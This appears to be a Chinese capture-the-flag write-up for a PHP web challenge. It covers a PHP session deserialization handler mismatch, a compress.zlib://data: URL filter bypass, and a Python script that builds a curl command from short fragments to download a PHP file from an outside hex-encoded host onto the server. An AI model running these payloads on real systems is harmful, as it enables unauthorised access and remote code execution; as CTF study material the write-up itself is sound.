考点一、源码泄露
扫到源码
考点二、session反序列化
在login.php内包含了init.php,其中设置了序列化处理器,并且session是以文件形式保留的
1 2 3 session_save_path('session' ); ini_set('session.serialize_handler' ,'php_serialize' ); session_start()
而profile.php和core/init.php中使用了另外的序列化处理器:
1 2 3 session_save_path('../session' ); ini_set('session.serialize_handler' , 'php' ); session_start();
考点就很明显了。handler的不同点在于:
正好可以发现,在upload_sign.php中,$_SESSION['sign']
是完全可控的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public function __construct () { if (isset ($_POST['sign' ])) { $this ->sign = $_POST['sign' ]; } else { $this ->sign = "这里空空如也哦" ; } } public function upload () { if ($this ->checksign($this ->sign)) { $_SESSION['sign' ] = $this ->sign; $_SESSION['admin' ] = $this ->admin; } else { echo "???" ; } }
而core中要求我们的$_SESSION['admin']
为1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function check_session ($session) { foreach ($session as $keys => $values) { foreach ($values as $key => $value) { if ($key === 'admin' && $value === 1 ) { return true ; } } } return false ; } if (check_session($_SESSION)) { } else { die ('只有管理员才能看到我哟' ); }
所以我们可以控制sign这个session,利用序列化handler的差异进行session反序列化,将$_SESSION['admin']
反序列化为1,本地生成序列化:
1 2 3 4 5 6 7 8 9 <?php class info { public $admin = 1 ; } $y1ng = new info(); echo serialize($y1ng);
得到:
1 O :4 :"info" :1 :{s :5 :"admin" ;i :1 ;}
在upload_sign.php进行POST提交以下内容
1 sign=12123 |O:4 :"info" :1 :{s:5 :"admin" ;i:1 ;}
访问core/index.php 可以发现session验证成功,得到了core的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php require_once ('./init.php' );error_reporting(0 ); if (check_session($_SESSION)) { $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR' ]); echo $sandbox; @mkdir($sandbox); @chdir($sandbox); if (isset ($_POST['url' ])) { $url = $_POST['url' ]; if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i' , $url)) { echo "you are hacker" ; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/' , $res['host' ])) { $code = file_get_contents($url); if (strlen($code) <= 4 ) { @exec($code); } else { echo "try again" ; } } } } else { echo "invalid url" ; } } else { highlight_file(__FILE__ ); } } else { die ('只有管理员才能看到我哟' ); }
考点三、BYPASS
这里对URL进行了匹配过滤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i' , $url)) { echo "you are hacker" ; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/' , $res['host' ])) { $code = file_get_contents($url); if (strlen($code) <= 4 ) { @exec($code); } else { echo "try again" ; } } } }
过滤了data://,要求必须是127.0.0.1,还要file_get_contents()
1 2 3 compress.zlib: //data:@127 .0 .0 .1 /text/palin,lscompress.zlib: //data:@127 .0 .0 .1 ?
然后命令执行就和hitcon那个差不多,直接拿过来脚本跑一下,不过记得要设置一下cookie为PHPSESSID才行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsfrom time import sleepfrom urllib import quoteimport base64payload = [ '>dir' , '>sl' , '>g\>' , '>ht-' , '*>v' , '>rev' , '*v>x' , '>p\ ' , '>ph\\' , '>a.\\' , '>\>\\' , '>72\\' , '>cf\\' , '>cc\\' , '>81\\' , '>0x\\' , '>\ \\' , '>rl\\' , '>cu\\' , 'sh x' , 'sh g' , ] payload_all = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}' cookies={'PHPSESSID' : 'ddd' } r = requests.get('http://121.36.222.22:88/core/clear.php' ,cookies=cookies) for i in payload: assert len(i) <= 20 r = requests.post('http://121.36.222.22:88/core/index.php' ,cookies=cookies,data={"url" :payload_all.format(base64.b64encode(i))}) print r.text sleep(0.5 )